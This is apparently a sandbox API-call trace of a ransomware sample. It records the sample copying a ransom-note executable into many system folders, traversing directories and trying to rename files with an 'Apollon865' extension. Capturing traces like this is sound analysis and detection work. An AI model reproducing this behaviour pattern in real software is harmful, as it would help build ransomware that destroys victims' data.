	[0039.772] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DRM" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM") returned="C:\\Users\\All Users\\Microsoft\\DRM"
	[0039.772] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.772] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\drm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.777] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.777] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.777] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.777] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.777] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Server" | out: lpString1="Server") returned="Server"
	[0039.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
	[0039.777] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.777] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
	[0039.777] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.777] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.777] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\DRM\\Server", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server"
	[0039.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0039.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.777] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned 39
	[0039.777] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DRM\\Server" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned="C:\\Users\\All Users\\Microsoft\\DRM\\Server"
	[0039.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.782] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.782] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.782] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.782] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\DeviceSync", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync"
	[0039.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc960 | out: hHeap=0x580000) returned 1
	[0039.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.783] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned 39
	[0039.783] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\DeviceSync" | out: lpString1="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned="C:\\Users\\All Users\\Microsoft\\DeviceSync"
	[0039.783] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.787] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.787] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.787] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.787] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.788] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage"
	[0039.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0039.788] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0039.788] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage") returned 41
	[0039.788] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage") returned="C:\\Users\\All Users\\Microsoft\\Device Stage"
	[0039.788] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.788] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.793] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.793] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.793] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.793] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.793] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Device" | out: lpString1="Device") returned="Device"
	[0039.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0039.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599a78
	[0039.793] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0039.793] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fd36bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.793] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.793] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
	[0039.793] lstrcmpiW (lpString1="Task", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.793] lstrcmpiW (lpString1="Task", lpString2="Apollon865.txt.exe") returned 1
	[0039.793] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Task" | out: lpString1="Task") returned="Task"
	[0039.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0039.794] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0039.794] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
	[0039.794] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.794] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0039.794] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task"
	[0039.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.794] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned 46
	[0039.794] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task"
	[0039.794] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.794] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.800] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.800] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.800] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.801] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.801] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0039.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x599bd8
	[0039.801] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0039.801] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0039.801] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.801] lstrcmpiW (lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpString2="Apollon865.txt.exe") returned -1
	[0039.801] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0039.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xac) returned 0x599c90
	[0039.801] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.801] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0039.801] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.801] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.801] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0039.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c90 | out: hHeap=0x580000) returned 1
	[0039.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.801] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 85
	[0039.801] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}"
	[0039.801] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.801] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.808] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.808] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd5cd10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd5cd10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.808] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.808] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.808] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0039.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0039.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0039.808] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0039.808] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0039.808] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.808] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.808] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0039.808] lstrlenW (lpString="folder.ico") returned 10
	[0039.808] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="print_pref.ico" | out: lpString1="print_pref.ico") returned="print_pref.ico"
	[0039.809] lstrlenW (lpString="print_pref.ico") returned 14
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcmpiW (lpString1="t_pref.ico", lpString2="Apollon865") returned 1
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="print_property.ico" | out: lpString1="print_property.ico") returned="print_property.ico"
	[0039.809] lstrlenW (lpString="print_property.ico") returned 18
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="print_queue.ico" | out: lpString1="print_queue.ico") returned="print_queue.ico"
	[0039.809] lstrlenW (lpString="print_queue.ico") returned 15
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcmpiW (lpString1="_queue.ico", lpString2="Apollon865") returned -1
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="scan_.ico" | out: lpString1="scan_.ico") returned="scan_.ico"
	[0039.809] lstrlenW (lpString="scan_.ico") returned 9
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="scan_property.ico" | out: lpString1="scan_property.ico") returned="scan_property.ico"
	[0039.809] lstrlenW (lpString="scan_property.ico") returned 17
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcmpiW (lpString1="operty.ico", lpString2="Apollon865") returned 1
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="scan_settings.ico" | out: lpString1="scan_settings.ico") returned="scan_settings.ico"
	[0039.809] lstrlenW (lpString="scan_settings.ico") returned 17
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] lstrcmpiW (lpString1="ttings.ico", lpString2="Apollon865") returned 1
	[0039.809] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="tasks.xml" | out: lpString1="tasks.xml") returned="tasks.xml"
	[0039.809] lstrlenW (lpString="tasks.xml") returned 9
	[0039.809] lstrlenW (lpString="Apollon865") returned 10
	[0039.809] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.Apollon865") returned 106
	[0039.810] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.810] GetLastError () returned 0x5
	[0039.810] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml MoveFileEx error 5\r\n") returned 124
	[0039.810] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml MoveFileEx error 5\r\n") returned 124
	[0039.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0039.810] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaa6
	[0039.810] WriteFile (in: hFile=0x148, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x7c, lpOverlapped=0x0) returned 1
	[0039.811] CloseHandle (hObject=0x148) returned 1
	[0039.812] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.812] CloseHandle (hObject=0x0) returned 0
	[0039.812] CloseHandle (hObject=0x0) returned 0
